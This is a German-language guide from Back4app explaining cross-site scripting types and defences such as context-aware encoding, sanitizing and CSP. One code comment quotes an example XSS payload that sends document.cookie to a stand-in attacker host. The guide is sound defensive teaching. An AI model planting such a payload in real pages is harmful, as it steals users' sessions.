Was ist Cross-Site Scripting (XSS) — und wie verhindern Sie es?

Aktualisiert: September 2026

Cross-Site Scripting ist ein Angriff, der Schadskripte in vertrauenswürdige Seiten einschleust; Prävention heißt, die Ausgabe pro Kontext zu encodieren. Der Browser wird zum Opfer seines eigenen Vertrauens: Ein Skript, das innerhalb einer Seite von einem legitimen Origin eintrifft, läuft mit allen Rechten dieser Seite – Session, Speicher, jede Aktion, die der Benutzer ausführen darf. Drei Jahrzehnte später führt CWE-79 noch immer die Ranglisten der gefährlichsten Schwachstellen an, weil die Ursache Template für Template committet wird: nicht vertrauenswürdige Eingabe, die ohne Encoding die Ausgabe erreicht.

Das Wichtigste in Kürze

FrageAntwort
Die drei TypenStored (in der DB) · Reflected (in der URL) · DOM-based (im Client-JS)
Die HauptverteidigungKontextabhängiges Output-Encoding – beim Rendern, pro Ziel
Die Regel, die alle umdrehenValidieren für Korrektheit; encodieren für Sicherheit – Validierung allein schafft es nicht
FrameworksEscapen standardmäßig – bis zur Hintertür (v-html, dangerouslySetInnerHTML)
Die SicherheitsnetzeStrikte CSP · Trusted Types · HttpOnly-Cookies – Abschwächung, keine Korrektur

Eine verwundbare Zeile

// Der Fehler – Benutzerdaten treffen auf einen HTML-Sink
commentEl.innerHTML = comment.text;
// Payload, den irgendwann jemand einreichen wird:
//   <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">
// Der Browser jedes Lesers führt ihn aus, mit der Session des Lesers.

// Die Korrektur – dieselben Daten, Textkontext
commentEl.textContent = comment.text;   // Markup wird angezeigt; ausgeführt wird es nie

Die Disziplin hinter dieser Korrektur – roh speichern, sicher darstellen – quer durch den Stack:

// JavaScript / Node.js — Back4app JS SDK + browser
// Store RAW, render SAFE — encoding happens at output, not at save
const comment = new Parse.Object('Comment');
comment.set('text', userInput); // saved as-is: O'Brien, 1 < 2, all fine
await comment.save();

// Rendering: textContent treats it as text — markup never executes
commentEl.textContent = comment.get('text'); // safe by construction
// commentEl.innerHTML = comment.get('text'); // ← the XSS sink

Stored vs. Reflected vs. DOM-based XSS

KriteriumStored (persistent)ReflectedDOM-based
Payload liegtIn Ihrer DatenbankIn einer präparierten URLIm clientseitigen Datenfluss
OpferJeder, der die Seite aufruftJeder, der den Link anklicktJeder, der diesen Seitenzustand erreicht
Server sieht ihnJa – beim SchreibenJa – pro Anfrage gespiegeltOft nie
Klassischer VektorKommentare, Profile, NachrichtenSuchtreffer-Echos, Fehlerseitenlocation.hash → innerHTML
Konsens zur SchwereDer gefährlichsteGezielt, vom Link abhängigUnsichtbar für Serverlogs und WAFs
Wie die drei XSS-Typen einen Payload in den Browser des Opfers bringenDie Eingabe des Angreifers erreicht den Browser des Opfers auf drei Wegen. Stored XSS wird in der Datenbank gespeichert und an jeden Besucher ausgeliefert. Reflected XSS wird aus einer präparierten URL-Anfrage zurückgespiegelt. DOM-based XSS fließt von einer clientseitigen Quelle direkt in einen gefährlichen Sink, ohne den Server zwingend zu erreichen. Alle drei enden damit, dass das Skript mit allen Rechten der Seite ausgeführt wird.

gespeichert: Kommentar, Profil

an alle Besucher ausgeliefert

präparierte URL, zurückgespiegelt

clientseitige Quelle → Sink
(hash → innerHTML)

Eingabe des Angreifers

Datenbank

Browser des Opfers

Server-Antwort

JS der Seite selbst

Skript läuft mit Session, Speicher
und allen Rechten der Seite

Die Eingabe des Angreifers erreicht den Browser des Opfers auf drei Wegen. Stored XSS wird in der Datenbank gespeichert und an jeden Besucher ausgeliefert. Reflected XSS wird aus einer präparierten URL-Anfrage zurückgespiegelt. DOM-based XSS fließt von einer clientseitigen Quelle direkt in einen gefährlichen Sink, ohne den Server zwingend zu erreichen. Alle drei enden damit, dass das Skript mit allen Rechten der Seite ausgeführt wird.

Die Hauptverteidigung: kontextabhängiges Output-Encoding

Die maßgebliche Regel, offen ausgesprochen, weil die üblichen Quellen sie vergraben: Dieselbe Zeichenkette ist an einer Stelle harmlos und an einer anderen tödlich – deshalb geschieht das Encoding bei der Ausgabe, pro Ziel, und deshalb scheitert Eingabevalidierung für sich allein immer: Zum Zeitpunkt der Eingabe kennen Sie den Kontext nicht, Blocklists verlieren gegen Encoding-Tricks, und legitime Daten (O'Brien, 1 < 2) zerbrechen unter Validierung-als-Sicherheitsmaßnahme.

AusgabekontextEncodingDer übliche Fehler
HTML-Body& < > " ' als Entities codierenDem “ist doch nur Text” glauben
HTML-AttributEntities + das Attribut immer quotenUngequotete Attribute – Leerzeichen brechen aus
JavaScript-String\uXXXX-Escaping, über einen SerializerBenutzerdaten in Inline-JS konkatenieren
URL / hrefPercent-Encoding + Schema validierenjavascript:-URLs passieren HTML-Encoding anstandslos
CSS-WertStrikte Allowlists, nur EigenschaftswerteVom Benutzer kontrollierte Style-Blöcke
JSON in einer SeiteJSON serialisieren + </script> escapenHydration-Blobs window.__STATE__ = …

Wenn Benutzer legitim HTML verfassen – Rich Text, Markdown –, würde Encoding es zerstören; das ist die eine Aufgabe des Sanitizings: Eine gepflegte Bibliothek (DOMPurify) entfernt ausführbare Konstrukte, und die Ausgabe muss unverändert verwendet werden – wer eine sanitizte Zeichenkette nachbearbeitet, hebt das Sanitizing auf.

Frameworks: standardmäßig escapt, unsicher durch die Hintertür

Moderne Frameworks haben das Gros des klassischen XSS erledigt – interpolierte Werte werden automatisch escapt. Zwei Klauseln im Kleingedruckten halten den Fehler am Leben. Erstens: Jedes Framework liefert einen Bypass mit, und jeder davon ist ein Grep-Ziel im Code-Review:

FrameworkEscapt standardmäßigDie Hintertür
ReactJSX-InterpolationdangerouslySetInnerHTML
Vue{{ }}-Templatesv-html
AngularInterpolation + SanitizerbypassSecurityTrustHtml und Verwandte
SvelteTemplate-Ausdrücke{@html …}
Server-TemplatesAuto-Escape-ModusFilter | safe / | raw

Zweitens: Automatisches Escaping deckt allein den HTML-Body-Kontext ab. Ein href, das an Benutzerdaten gebunden ist, führt weiterhin javascript:-URLs aus, und die Einbettung in Inline-Skripte braucht weiterhin Encoding im JS-Kontext. Die Antwort auf Workflow-Ebene: vor jeder Hintertür sanitizen, bei gebundenen Links das URL-Schema validieren und die Hintertüren linten (react/no-danger und Verwandte), damit die Ausnahmen bewusst bleiben.

Verteidigung in der Tiefe: CSP, Trusted Types, HttpOnly

Die Sicherheitsnetze, ehrlich beschriftet. Eine strikte Content Security Policy blockiert eingeschleuste Inline-Skripte auch dann, wenn ein Fehler in Produktion geht:

Content-Security-Policy:
  script-src 'nonce-{random-per-response}' 'strict-dynamic';
  object-src 'none'; base-uri 'none'

Nonce-basiert, nicht Allowlist-basiert – Host-Allowlists lassen sich oft genug umgehen, dass das Cheat Sheet der OWASP darauf besteht, die CSP dürfe nicht Ihre Hauptverteidigung sein. Rollen Sie sie zuerst im Report-Only-Modus aus. Trusted Types (require-trusted-types-for 'script') geht gegen DOM-XSS weiter: Gefährliche Sinks wie innerHTML weisen einfache Zeichenketten rundheraus zurück und zwingen alles HTML durch eine einzige, prüfbare Policy. Und HttpOnly-Cookies schützen genau eine Sache – eingeschleuste Skripte können das Session-Cookie nicht lesen –, was zählt, weil Tokens im localStorage nur ein localStorage.getItem von der Exfiltration entfernt sind: Die Empfehlungen zur JWT-Speicherung und dieser Artikel sind dasselbe Argument von zwei Seiten. Keines der drei behebt den Fehler; alle drei verkleinern, was er wert ist.

Der Anteil des Backends

XSS liest sich wie ein Frontend-Problem; ein Teil davon gehört der API. Roh speichern, bei der Ausgabe encodieren – Encoding beim Schreiben verfälscht Daten, führt bei Roundtrips zu doppeltem Encoding und verfehlt trotzdem Kontexte, die Sie nicht vorhergesehen haben. Content-Type-Disziplin: JSON-Antworten deklarieren Content-Type: application/json plus X-Content-Type-Options: nosniff, denn ein zurückgespiegelter Parameter in einer Antwort, die der Browser bereitwillig als HTML sniffed, ist XSS mit zusätzlichen Schritten. Fehlerseiten, die URL oder Parameter zurückspiegeln, sind der klassische Reflected-Sink, den niemand im Code-Review liest. Und die benachbarte Falle, die einen Satz verdient: Benutzereingaben als Template statt als Daten zu rendern, eskaliert über XSS hinaus zu Server-Side Template Injection – eine Benutzereingabe ist Template-Daten, niemals Template-Quelltext.

Typische Anwendungsfälle

Wo diese Abwehrmaßnahmen ihr Geld verdienen:

  • Kommentare, Bewertungen, Nachrichten – Stored-XSS-Terrain: beim Rendern encodieren, überall dort, wo sie auftauchen.
  • Rich Text und Markdown – der Fall des legitimen HTML: beim Rendern sanitizen, den Sanitizer aktuell halten.
  • Suche, Filter, Fehlerseiten – Reflected-Terrain: Alles, was Anfragedaten zurückspiegelt, encodiert sie.
  • SPAs, die über den URL-Zustand routen – DOM-Terrain: Fragment- und Query-Daten treffen nie unsanitized auf innerHTML.
  • Mobile WebViews – die XSS-Angriffsfläche der nativen App: niemals rohe Benutzerinhalte als HTML laden.

Welche Verteidigung zuerst? Entscheidungsmatrix

SituationDas ist zu tun
Benutzertext anzeigenFramework-Interpolation / textContent – nichts Ausgefalleneres
Vom Benutzer verfasstes HTML rendernMit DOMPurify sanitizen, Ausgabe unverändert verwenden
Benutzerdaten in einem LinkSchema-Allowlist validieren (https:), dann encodieren
Inline-JSON/-Zustand in SeitenJSON serialisieren mit skriptsicherem Escaping
Eines der obigen in Produktion bringenStrikte Nonce-CSP in Report-Only, dann erzwingen
Bestehenden Code auditierenHintertüren und Sinks greppen; linten; Payloads pro Kontext testen

Grenzen und Trade-offs

  • Encoding muss exakt zum Kontext passen. Daten HTML-zu-encodieren, die in eine URL oder einen Skriptblock gebunden werden, ist das Muster der falschen Sicherheit – richtige Verteidigung, falscher Kontext, weiterhin ausnutzbar.
  • Sanitizer sind Abhängigkeiten. Bypässe werden veröffentlicht; ein gepinnter, veralteter Sanitizer wird still zu einer Schwachstelle mit Changelog.
  • CSP kostet Engineering. Nonces betreffen jedes Script-Tag und jeden Inline-Handler; eine strikte CSP in einer Legacy-Codebasis einzuführen ist ein eigenes Projekt – dafür gibt es den Report-Only-Modus.
  • Trusted Types hat Ränder bei der Verbreitung. Es funktioniert erst seit Anfang 2026 über die aktuellen Browser hinweg, ältere ignorieren es; behandeln Sie es als Härtung oberhalb des Encodings, nicht als Garantie.
  • WAFs sind nicht die Antwort. Filter mit Mustererkennung fangen bekannte Payloads und verfehlen Encodings und Mutationen; die Empfehlungen der OWASP selbst halten sie gegen XSS für unzuverlässig.

XSS-Prävention mit Back4app

Back4app ist eine Open-Source-Plattform für Backend as a Service (BaaS), die eine verwaltete Datenbank, automatisch generierte REST- und GraphQL-APIs, Authentifizierung, Dateispeicher und Serverless-Funktionen mit Cloud Code kombiniert. Der Anteil des Backends an dieser Disziplin ist eingebaut: Daten werden roh gespeichert und über JSON-APIs mit korrekten Content-Types zurückgegeben – nie serverseitig zu HTML gerendert –, sodass die Verantwortung für das Encoding bei der Ausgabe sauber in Ihrer UI-Schicht liegt, wo die Code-Tabs oben das Muster roh-speichern/sicher-darstellen pro Plattform zeigen. Die Regler für den Schadensradius sind bereits aktiv: Sessions laufen über widerrufbare Tokens statt über langlebige Zugangsdaten im localStorage, und ACLs samt Klassenberechtigungen begrenzen, was ein als Benutzer ausgeführtes Skript überhaupt berühren könnte – ein eingeschleuster Payload erbt die Berechtigungen des Opfers, nicht die Datenbank. Cloud Code ist der richtige Ort für die verbleibende serverseitige Hygiene: URL-Felder gegen Schema-Allowlists validieren und Rich-Text-Felder einmal sanitizen, in beforeSave, damit jeder Client denselben abgesicherten Inhalt darstellt.

Häufige Fragen

Was ist XSS in einfachen Worten?

Ein Angreifer schmuggelt eigenes JavaScript in eine Seite, die andere Menschen aufrufen – über einen Kommentar, einen präparierten Link, ein Profilfeld –, und die Browser der Opfer führen es aus, als hätte die Website selbst es geschrieben. Ab da kann das Skript alles, was das Opfer kann: dessen Daten lesen, in dessen Namen handeln, dessen Session stehlen.

Wie sieht ein XSS-Angriff konkret aus?

Ein Kommentarfeld, das die Ausgabe nicht encodiert: Man reicht ein Script-Tag als Kommentar ein, und es läuft im Browser jedes Lesers. Proof-of-Concept-Payloads öffnen ein alert-Fenster; echte schicken stattdessen das Session-Cookie oder die Tokens des Opfers an den Angreifer.

Was unterscheidet Stored, Reflected und DOM-based XSS?

Der Weg, den der Payload nimmt. Stored XSS liegt in der Datenbank und trifft jeden, der die Seite aufruft. Reflected XSS reist in einer präparierten URL und trifft jeden, der darauf klickt. DOM-based XSS passiert vollständig im clientseitigen JavaScript – Angreiferdaten fließen von einer Quelle wie dem URL-Fragment in einen Sink wie innerHTML, manchmal ohne den Server je zu berühren.

Wie verhindert man XSS?

Der Reihe nach: kontextabhängiges Output-Encoding zum Zeitpunkt des Renderings (die Hauptverteidigung), Eingabevalidierung als unterstützende Schicht, eine Sanitizing-Bibliothek, wenn Benutzer echtes HTML verfassen dürfen, korrekte Content-Type-Header auf den APIs, eine strikte Content Security Policy als Sicherheitsnetz und HttpOnly-Cookies, um zu begrenzen, was ein erfolgreicher Angriff überhaupt stehlen kann.

Output-Encoding, Eingabevalidierung, Sanitizing – was davon?

Drei verschiedene Aufgaben. Encoding wandelt Zeichen bei der Ausgabe um, damit Daten als Text erscheinen statt ausgeführt zu werden – die Hauptverteidigung, gewählt je nach Kontext. Validierung weist fehlerhafte Eingaben bei der Ankunft zurück – nützlich für Korrektheit, unzureichend für Sicherheit, weil die Gefahr davon abhängt, wo die Daten landen. Sanitizing entfernt unsichere Konstrukte aus HTML, das Sie tatsächlich als HTML darstellen wollen.

Stoppt eine Content Security Policy XSS?

Eine strikte, Nonce-basierte CSP blockiert eingeschleuste Inline-Skripte auch dann, wenn ein Fehler existiert – echte Verteidigung in der Tiefe. Aber sie ist das Netz, nicht die Korrektur: Allowlist-basierte Policies lassen sich verbreitet umgehen, und die Empfehlung der OWASP ist eindeutig – die CSP darf nie die Hauptverteidigung sein.

Verhindern React und Vue XSS automatisch?

Weitgehend – die Template-Interpolation escapt Werte automatisch, was ganze Fehlerklassen erledigt hat. Aber jedes Framework liefert Hintertüren mit, die XSS unverändert zurückbringen: dangerouslySetInnerHTML in React, v-html in Vue, Trust-Bypass-APIs in Angular – dazu javascript:-URLs in href-Bindings, die das automatische Escaping nie abgedeckt hat.

Was ist der Unterschied zwischen XSS und CSRF?

Die Reichweite. XSS führt Angreifercode im Browser des Opfers aus – in beide Richtungen: Es kann Antworten lesen und alles tun, was der Benutzer kann. CSRF bringt den Browser nur dazu, gefälschte Anfragen zu senden – in eine Richtung, ohne Lesezugriff und abhängig von einer aktiven Session. XSS ist die schwerere Klasse, und ein XSS-Fehler kann CSRF-Abwehrmaßnahmen aushebeln.

Verwandte Begriffe

Vergleichen mit

Weiterführende Quellen

Bereit, Ihr Backend zu bauen?

Starten Sie Ihr Projekt auf Back4app in wenigen Minuten — Datenbank, Authentifizierung, APIs und Cloud Code inklusive. Keine Kreditkarte erforderlich.

Geschrieben und geprüft von Back4app Engineering, Back4app Engineering · Veröffentlicht am 2026-09-26